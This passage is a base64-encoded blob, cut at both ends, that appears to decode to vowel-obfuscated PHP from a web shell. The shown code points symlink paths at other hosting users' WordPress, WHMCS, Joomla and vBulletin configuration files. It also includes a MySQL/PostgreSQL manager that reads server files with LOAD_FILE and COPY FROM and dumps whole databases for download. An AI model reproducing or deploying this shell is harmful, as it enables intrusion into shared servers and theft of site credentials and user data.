4nL3AzYmw0Y19odG1sL3MzYm00dHQ0Y2s1dC5waHAnOw0KJElJSUlJSUlJbDY2Nj1nNXRfaDUxZDVycygkSUlJSUlJSUlsNjZsKTsNCiRJSUlJSUlJSTZJSUk9JElJSUlJSUlJbDY2NlswXTsNCiRJSUlJSUlJSTZJSWw9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9jbDQ1bnQvYzJuZjRnM3IxdDQybi5waHAnOw0KJElJSUlJSUlJNklJNj1nNXRfaDUxZDVycygkSUlJSUlJSUk2SUlsKTsNCiRJSUlJSUlJSTZJbEk9JElJSUlJSUlJNklJNlswXTsNCiRJSUlJSUlJSTZJbGwgPSBzdHJwMnMoJElJSUlJSUlJSTY2bCwnYTAwJyk7DQokSUlJSUlJSUk2STZJPScmbmJzcDsnOw0KNGYgKHN0cnAycygkSUlJSUlJSUlJNjZsLCdhMDAnKSA9PSB0cjM1ICkNCnsNCiRJSUlJSUlJSTZJNkk9IjwxIGhyNWY9JyIuJElJSUlJSUlJSTZsNi4iJyB0MXJnNXQ9J19ibDFuayc+VzJyZHByNXNzPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsSUlsLCdhMDAnKSA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iPDEgaHI1Zj0nIi4kSUlJSUlJSUlJNjY2LiInIHQxcmc1dD0nX2JsMW5rJz5XMnJkcHI1c3M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJbGwsJ2EwMCcpICA9PSB0cjM1IDFuZCBzdHJwMnMoJElJSUlJSUlJNklJSSwnYTAwJykgID09IHRyMzUgKQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbDY2bC4iJyB0MXJnNXQ9J19ibDFuayc+V0hNQ1M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWw2bEksJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2SSA9IiA8MSBocjVmPSciLiRJSUlJSUlJSWw2STYuIicgdDFyZzV0PSdfYmwxbmsnPldITUNTPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsNjZJLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkkgPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsNmxsLiInIHQxcmc1dD0nX2JsMW5rJz5XSE1DUzwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbElsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsSUk2LiInIHQxcmc1dD0nX2JsMW5rJz5KMjJtbDE8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbElsNi4iJyB0MXJnNXQ9J19ibDFuayc+SjIybWwxPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsbElsLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkk9IiA8MSBocjVmPSciLiRJSUlJSUlJSWxJNjYuIicgdDFyZzV0PSdfYmwxbmsnPnZCM2xsNXQ0bjwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbGxsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsbEk2LiInIHQxcmc1dD0nX2JsMW5rJz52QjNsbDV0NG48LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxsNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbGxsNi4iJyB0MXJnNXQ9J19ibDFuayc+dkIzbGw1dDRuPC8xPiI7DQp9DQo1bHM1DQp7DQpjMm50NG4zNTsNCn0NCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJNkk2WyduMW01J10gOw0KNWNoMiAnPHRyPjx0ZD48MSBocjVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDY2WzZdWzBdLicvPicuJElJSUlJSUlJSWw2Nls2XVswXS4nPC8xPjwvdGQ+DQo8dGQ+Jy4kSUlJSUlJSUk2STZJLic8L3RkPjwvdHI+JztmbDNzaCgpOw0KfQ0KfQ0KfQ0KfQ0KNWNoMiAiPC9jNW50NXI+PC90MWJsNT4iOyAgIA0KICAgIA0KIH0NCiAgICANCiAgICA1Y2gyICI8L2Q0dj4iOw0KICAgIG0xZGYyMnQ1cigpOw0KICAgIA0KfSAgICANCg0KDQpmM25jdDQybiBtMWRzcWwoKQ0Kew0KICAgIA0KICAgIA0KICAgIGNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJbTFkaDUxZCgpOw0KCTVjaDIgIg0KPGQ0diBjbDFzcz1oNTFkNXI+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8